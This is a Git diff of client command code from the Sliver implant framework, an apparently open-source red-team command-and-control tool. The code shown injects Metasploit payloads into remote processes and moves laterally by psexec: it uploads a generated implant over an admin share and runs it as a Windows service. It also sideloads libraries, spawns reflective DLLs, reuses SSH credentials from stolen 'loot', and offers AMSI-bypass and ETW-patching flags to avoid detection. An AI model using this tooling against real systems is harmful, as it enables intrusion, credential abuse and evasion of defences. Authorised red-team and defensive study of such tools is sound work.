||||
if err != nil {
|
||||
fmt.Printf(Warn+"%s\n", err)
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if msfTask.Response != nil && msfTask.Response.Async {
|
||||
con.AddBeaconCallback(msfTask.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, msfTask)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintMsfRemote(msfTask, con)
|
||||
})
|
||||
con.PrintAsyncResponse(msfTask.Response)
|
||||
} else {
|
||||
fmt.Printf(Info + "Executed payload on target\n")
|
||||
PrintMsfRemote(msfTask, con)
|
||||
}
|
||||
}
|
||||
|
||||
func PrintMsfRemote(msfRemote *sliverpb.Task, con *console.SliverConsoleClient) {
|
||||
|
||||
}
|
||||
@@ -0,0 +1,69 @@
|
||||
package exec
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// MsfCmd - Inject a metasploit payload into the current remote process
|
||||
func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
payloadName := ctx.Flags.String("payload")
|
||||
lhost := ctx.Flags.String("lhost")
|
||||
lport := ctx.Flags.Int("lport")
|
||||
encoder := ctx.Flags.String("encoder")
|
||||
iterations := ctx.Flags.Int("iterations")
|
||||
|
||||
if lhost == "" {
|
||||
con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfStr)
|
||||
return
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Sending payload %s %s/%s -> %s:%d ...",
|
||||
payloadName, session.OS, session.Arch, lhost, lport)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
_, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Payload: payloadName,
|
||||
LHost: lhost,
|
||||
LPort: uint32(lport),
|
||||
Encoder: encoder,
|
||||
Iterations: int32(iterations),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
} else {
|
||||
con.PrintInfof("Executed payload on target\n")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,168 @@
|
||||
package exec
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
insecureRand "math/rand"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/generate"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// PsExecCmd - psexec command implementation.
|
||||
func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
hostname := ctx.Args.String("hostname")
|
||||
if hostname == "" {
|
||||
con.PrintErrorf("You need to provide a target host, see `help psexec` for examples")
|
||||
return
|
||||
}
|
||||
profile := ctx.Flags.String("profile")
|
||||
serviceName := ctx.Flags.String("service-name")
|
||||
serviceDesc := ctx.Flags.String("service-description")
|
||||
binPath := ctx.Flags.String("binpath")
|
||||
uploadPath := fmt.Sprintf(`\\%s\%s`, hostname, strings.ReplaceAll(strings.ToLower(ctx.Flags.String("binpath")), "c:", "C$"))
|
||||
|
||||
if serviceName == "Sliver" || serviceDesc == "Sliver implant" {
|
||||
con.PrintWarnf("You're going to deploy the following service:\n- Name: %s\n- Description: %s\n", serviceName, serviceDesc)
|
||||
con.PrintWarnf("You might want to change that before going further...\n")
|
||||
if !settings.IsUserAnAdult(con) {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
if profile == "" {
|
||||
con.PrintErrorf("You need to pass a profile name, see `help psexec` for more info\n")
|
||||
return
|
||||
}
|
||||
|
||||
// generate sliver
|
||||
generateCtrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Generating sliver binary for %s\n", profile), generateCtrl)
|
||||
profiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err)
|
||||
return
|
||||
}
|
||||
generateCtrl <- true
|
||||
<-generateCtrl
|
||||
var implantProfile *clientpb.ImplantProfile
|
||||
for _, prof := range profiles.Profiles {
|
||||
if prof.Name == profile {
|
||||
implantProfile = prof
|
||||
}
|
||||
}
|
||||
if implantProfile.GetName() == "" {
|
||||
con.PrintErrorf("No profile found for name %s\n", profile)
|
||||
return
|
||||
}
|
||||
sliverBinary, err := generate.GetSliverBinary(implantProfile, con)
|
||||
filename := randomString(10)
|
||||
filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename)
|
||||
uploadGzip := new(encoders.Gzip).Encode(sliverBinary)
|
||||
// upload to remote target
|
||||
uploadCtrl := make(chan bool)
|
||||
con.SpinUntil("Uploading service binary ...", uploadCtrl)
|
||||
upload, err := con.Rpc.Upload(context.Background(), &sliverpb.UploadReq{
|
||||
Encoder: "gzip",
|
||||
Data: uploadGzip,
|
||||
Path: filePath,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
uploadCtrl <- true
|
||||
<-uploadCtrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Uploaded service binary to %s\n", upload.GetPath())
|
||||
con.PrintInfof("Waiting a bit for the file to be analyzed ...\n")
|
||||
// Looks like starting the service right away often fails
|
||||
// because a process is already using the binary.
|
||||
// I suspect that Defender on my lab is holding access
|
||||
// while scanning, which often resulted in an error.
|
||||
// Waiting 5 seconds seem to do the trick here.
|
||||
time.Sleep(5 * time.Second)
|
||||
// start service
|
||||
binaryPath := fmt.Sprintf(`%s\%s.exe`, binPath, filename)
|
||||
serviceCtrl := make(chan bool)
|
||||
con.SpinUntil("Starting service ...", serviceCtrl)
|
||||
start, err := con.Rpc.StartService(context.Background(), &sliverpb.StartServiceReq{
|
||||
BinPath: binaryPath,
|
||||
Hostname: hostname,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
ServiceDescription: serviceDesc,
|
||||
ServiceName: serviceName,
|
||||
Arguments: "",
|
||||
})
|
||||
serviceCtrl <- true
|
||||
<-serviceCtrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %v\n", err)
|
||||
return
|
||||
}
|
||||
if start.Response != nil && start.Response.Err != "" {
|
||||
con.PrintErrorf("Error: %s", start.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Successfully started service on %s (%s)\n", hostname, binaryPath)
|
||||
removeChan := make(chan bool)
|
||||
con.SpinUntil("Removing service ...", removeChan)
|
||||
removed, err := con.Rpc.RemoveService(context.Background(), &sliverpb.RemoveServiceReq{
|
||||
ServiceInfo: &sliverpb.ServiceInfoReq{
|
||||
Hostname: hostname,
|
||||
ServiceName: serviceName,
|
||||
},
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
removeChan <- true
|
||||
<-removeChan
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err)
|
||||
return
|
||||
}
|
||||
if removed.Response != nil && removed.Response.Err != "" {
|
||||
con.PrintErrorf("Error: %s\n", removed.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Successfully removed service %s on %s\n", serviceName, hostname)
|
||||
}
|
||||
|
||||
func randomString(length int) string {
|
||||
var charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
|
||||
b := make([]byte, length)
|
||||
for i := range b {
|
||||
b[i] = charset[insecureRand.Intn(len(charset))]
|
||||
}
|
||||
return string(b)
|
||||
}
|
||||
@@ -0,0 +1,111 @@
|
||||
package exec
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// SideloadCmd - Sideload a shared library on the remote system
|
||||
func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
binPath := ctx.Args.String("filepath")
|
||||
|
||||
entryPoint := ctx.Flags.String("entry-point")
|
||||
processName := ctx.Flags.String("process")
|
||||
args := strings.Join(ctx.Args.StringList("args"), " ")
|
||||
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err.Error())
|
||||
return
|
||||
}
|
||||
isDLL := (filepath.Ext(binPath) == ".dll")
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Sideloading %s ...", binPath), ctrl)
|
||||
sideload, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Args: args,
|
||||
Data: binData,
|
||||
EntryPoint: entryPoint,
|
||||
ProcessName: processName,
|
||||
Kill: !ctx.Flags.Bool("keep-alive"),
|
||||
IsDLL: isDLL,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
hostname := getHostname(session, beacon)
|
||||
if sideload.Response != nil && sideload.Response.Async {
|
||||
con.AddBeaconCallback(sideload.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, sideload)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintSideload(sideload, hostname, ctx, con)
|
||||
})
|
||||
con.PrintAsyncResponse(sideload.Response)
|
||||
} else {
|
||||
PrintSideload(sideload, hostname, ctx, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintSideload - Print the sideload command output
|
||||
func PrintSideload(sideload *sliverpb.Sideload, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if sideload.GetResponse().GetErr() != "" {
|
||||
con.PrintErrorf("%s\n", sideload.GetResponse().GetErr())
|
||||
return
|
||||
}
|
||||
|
||||
var outFilePath *os.File
|
||||
var err error
|
||||
if ctx.Flags.Bool("save") {
|
||||
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
|
||||
outFilePath, err = ioutil.TempFile("", outFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
con.PrintInfof("Output:\n%s", sideload.GetResult())
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(sideload.GetResult()))
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,89 @@
|
||||
package exec
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// SpawnDllCmd - Spawn execution of a DLL on the remote system
|
||||
func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
dllArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
|
||||
binPath := ctx.Args.String("filepath")
|
||||
processName := ctx.Flags.String("process")
|
||||
exportName := ctx.Flags.String("export")
|
||||
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Executing reflective dll %s", binPath), ctrl)
|
||||
spawndll, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
|
||||
Data: binData,
|
||||
ProcessName: processName,
|
||||
Args: dllArgs,
|
||||
EntryPoint: exportName,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Kill: !ctx.Flags.Bool("keep-alive"),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
hostname := getHostname(session, beacon)
|
||||
if spawndll.Response != nil && spawndll.Response.Async {
|
||||
con.AddBeaconCallback(spawndll.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, spawndll)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintSpawnDll(spawndll, hostname, ctx, con)
|
||||
})
|
||||
con.PrintAsyncResponse(spawndll.Response)
|
||||
} else {
|
||||
PrintSpawnDll(spawndll, hostname, ctx, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintSpawnDll - Print the SpawnDll command response
|
||||
func PrintSpawnDll(spawndll *sliverpb.SpawnDll, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if spawndll.GetResponse().GetErr() != "" {
|
||||
con.PrintErrorf("Failed to spawn dll: %s\n", spawndll.GetResponse().GetErr())
|
||||
return
|
||||
}
|
||||
|
||||
var outFilePath *os.File
|
||||
var err error
|
||||
if ctx.Flags.Bool("save") {
|
||||
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
|
||||
outFilePath, err = ioutil.TempFile("", outFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
con.PrintInfof("Output:\n%s", spawndll.GetResult())
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(spawndll.GetResult()))
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,126 @@
|
||||
package exec
|
||||
|
||||
import (
|
||||
"context"
|
||||
"io/ioutil"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/command/loot"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// SSHCmd - A built-in SSH client command for the remote system (doesn't shell out)
|
||||
func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var (
|
||||
privKey []byte
|
||||
err error
|
||||
)
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
username := ctx.Flags.String("login")
|
||||
if username == "" {
|
||||
username = session.GetUsername()
|
||||
}
|
||||
|
||||
port := ctx.Flags.Uint("port")
|
||||
privateKeypath := ctx.Flags.String("private-key")
|
||||
if privateKeypath != "" {
|
||||
privKey, err = ioutil.ReadFile(privateKeypath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
password := ctx.Flags.String("password")
|
||||
|
||||
hostname := ctx.Args.String("hostname")
|
||||
command := ctx.Args.StringList("command")
|
||||
|
||||
if password == "" && len(privKey) == 0 && !ctx.Flags.Bool("skip-loot") {
|
||||
oldUsername := username
|
||||
username, password, privKey = tryCredsFromLoot(con)
|
||||
if username == "" {
|
||||
username = oldUsername
|
||||
}
|
||||
}
|
||||
|
||||
sshCmd, err := con.Rpc.RunSSHCommand(context.Background(), &sliverpb.SSHCommandReq{
|
||||
Username: username,
|
||||
Hostname: hostname,
|
||||
Port: uint32(port),
|
||||
PrivKey: privKey,
|
||||
Password: password,
|
||||
Command: strings.Join(command, " "),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if sshCmd.Response != nil && sshCmd.Response.Async {
|
||||
con.AddBeaconCallback(sshCmd.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, sshCmd)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintSSHCmd(sshCmd, con)
|
||||
})
|
||||
con.PrintAsyncResponse(sshCmd.Response)
|
||||
} else {
|
||||
PrintSSHCmd(sshCmd, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintSSHCmd - Print the ssh command response
|
||||
func PrintSSHCmd(sshCmd *sliverpb.SSHCommand, con *console.SliverConsoleClient) {
|
||||
if sshCmd.Response != nil && sshCmd.Response.Err != "" {
|
||||
con.PrintErrorf("Error: %s\n", sshCmd.Response.Err)
|
||||
if sshCmd.StdErr != "" {
|
||||
con.PrintErrorf("StdErr: %s\n", sshCmd.StdErr)
|
||||
}
|
||||
return
|
||||
}
|
||||
if sshCmd.StdOut != "" {
|
||||
con.PrintInfof("Output:\n")
|
||||
con.Println(sshCmd.StdOut)
|
||||
if sshCmd.StdErr != "" {
|
||||
con.PrintInfof("StdErr:\n")
|
||||
con.Println(sshCmd.StdErr)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func tryCredsFromLoot(con *console.SliverConsoleClient) (string, string, []byte) {
|
||||
var (
|
||||
username string
|
||||
password string
|
||||
privKey []byte
|
||||
)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "No credentials provided, use from loot?"}
|
||||
survey.AskOne(prompt, &confirm, nil)
|
||||
if confirm {
|
||||
cred, err := loot.SelectCredentials(con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Invalid loot data, will try to use the SSH agent")
|
||||
} else {
|
||||
switch cred.CredentialType {
|
||||
case clientpb.CredentialType_API_KEY:
|
||||
privKey = []byte(cred.Credential.APIKey)
|
||||
case clientpb.CredentialType_USER_PASSWORD:
|
||||
username = cred.Credential.User
|
||||
password = cred.Credential.Password
|
||||
}
|
||||
}
|
||||
}
|
||||
return username, password, privKey
|
||||
}
|
||||
@@ -1,62 +0,0 @@
|
||||
package command
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func execute(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
session := ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
if len(ctx.Args) < 1 {
|
||||
fmt.Printf(Warn + "Please provide a path. See `help execute` for more info.\n")
|
||||
return
|
||||
}
|
||||
|
||||
cmdPath := ctx.Args[0]
|
||||
var args []string
|
||||
if len(ctx.Args) > 1 {
|
||||
args = ctx.Args[1:]
|
||||
}
|
||||
output := ctx.Flags.Bool("silent")
|
||||
exec, err := rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
|
||||
Request: ActiveSession.Request(ctx),
|
||||
Path: cmdPath,
|
||||
Args: args,
|
||||
Output: !output,
|
||||
})
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"%s", err)
|
||||
} else if !output {
|
||||
if exec.Status != 0 {
|
||||
fmt.Printf(Warn+"Exited with status %d!\n", exec.Status)
|
||||
if exec.Result != "" {
|
||||
fmt.Printf(Info+"Output:\n%s\n", exec.Result)
|
||||
}
|
||||
} else {
|
||||
fmt.Printf(Info+"Output:\n%s\n", exec.Result)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,325 +0,0 @@
|
||||
package command
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path"
|
||||
"strings"
|
||||
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/help"
|
||||
"github.com/bishopfox/sliver/client/spin"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
const (
|
||||
windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
|
||||
linuxDefaultHostProc = "/bin/bash"
|
||||
macosDefaultHostProc = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
|
||||
)
|
||||
|
||||
var commandMap map[string]extension
|
||||
var defaultHostProc = map[string]string{
|
||||
"windows": windowsDefaultHostProc,
|
||||
"linux": windowsDefaultHostProc,
|
||||
"darwin": macosDefaultHostProc,
|
||||
}
|
||||
|
||||
type binFiles struct {
|
||||
Ext64Path string `json:"x64"`
|
||||
Ext32Path string `json:"x86"`
|
||||
}
|
||||
|
||||
type extFile struct {
|
||||
OS string `json:"os"`
|
||||
Files binFiles `json:"files"`
|
||||
}
|
||||
|
||||
type extensionCommand struct {
|
||||
Name string `json:"name"`
|
||||
Entrypoint string `json:"entrypoint"`
|
||||
Help string `json:"help"`
|
||||
LongHelp string `json:"longHelp"`
|
||||
AllowArgs bool `json:"allowArgs"`
|
||||
DefaultArgs string `json:"defaultArgs"`
|
||||
ExtensionFiles []extFile `json:"extFiles"`
|
||||
IsReflective bool `json:"isReflective"`
|
||||
IsAssembly bool `json:"IsAssembly"`
|
||||
}
|
||||
|
||||
func (ec *extensionCommand) getDefaultProcess(targetOS string) (proc string, err error) {
|
||||
proc, ok := defaultHostProc[targetOS]
|
||||
if !ok {
|
||||
err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
type extension struct {
|
||||
Name string `json:"extensionName"`
|
||||
Commands []extensionCommand `json:"extensionCommands"`
|
||||
Path string
|
||||
}
|
||||
|
||||
func (e *extension) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
|
||||
for _, c := range e.Commands {
|
||||
if cmdName == c.Name {
|
||||
for _, ef := range c.ExtensionFiles {
|
||||
if targetOS == ef.OS {
|
||||
switch targetArch {
|
||||
case "x86":
|
||||
filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext32Path)
|
||||
case "x64":
|
||||
filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext64Path)
|
||||
default:
|
||||
filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext64Path)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
if filePath == "" {
|
||||
err = fmt.Errorf("no extension file found for %s/%s", targetOS, targetArch)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func (e *extension) getCommandFromName(name string) (extCmd *extensionCommand, err error) {
|
||||
for _, x := range e.Commands {
|
||||
if x.Name == name {
|
||||
extCmd = &x
|
||||
return
|
||||
}
|
||||
}
|
||||
err = fmt.Errorf("no extension command found for name %s", name)
|
||||
return
|
||||
}
|
||||
|
||||
func load(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
|
||||
if len(ctx.Args) != 1 {
|
||||
fmt.Printf(Warn + "Please provide an extension path\n")
|
||||
return
|
||||
}
|
||||
|
||||
// retrieve extension manifest
|
||||
manifestPath := fmt.Sprintf("%s/%s", ctx.Args[0], "manifest.json")
|
||||
jsonBytes, err := ioutil.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"%v", err)
|
||||
}
|
||||
// parse it
|
||||
ext := &extension{}
|
||||
err = json.Unmarshal(jsonBytes, ext)
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"error loading extension: %v", err)
|
||||
return
|
||||
}
|
||||
ext.Path = ctx.Args[0]
|
||||
// for each extension command, add a new app command
|
||||
for _, extCmd := range ext.Commands {
|
||||
// do not add if the command already exists
|
||||
if cmdExists(extCmd.Name, ctx.App) {
|
||||
fmt.Printf(Warn+"%s command already exists\n", extCmd.Name)
|
||||
return
|
||||
}
|
||||
fmt.Printf(Info+"Adding %s command: %s\n", extCmd.Name, extCmd.Help)
|
||||
|
||||
// Have to use a global map here, as passing the extCmd
|
||||
// either by value or by ref fucks things up
|
||||
commandMap[extCmd.Name] = *ext
|
||||
helpMsg := fmt.Sprintf("[%s] %s", ext.Name, extCmd.Help)
|
||||
ctx.App.AddCommand(&grumble.Command{
|
||||
Name: extCmd.Name,
|
||||
Help: helpMsg,
|
||||
LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
|
||||
AllowArgs: extCmd.AllowArgs,
|
||||
Run: func(extCtx *grumble.Context) error {
|
||||
fmt.Println()
|
||||
runExtensionCommand(extCtx, rpc)
|
||||
fmt.Println()
|
||||
return nil
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
if extCmd.IsAssembly {
|
||||
f.Bool("a", "amsi", false, "use AMSI bypass (disabled by default)")
|
||||
f.Bool("e", "etw", false, "patch EtwEventWrite function to avoid detection (disabled by default)")
|
||||
}
|
||||
f.String("p", "process", "", "Path to process to host the shared object")
|
||||
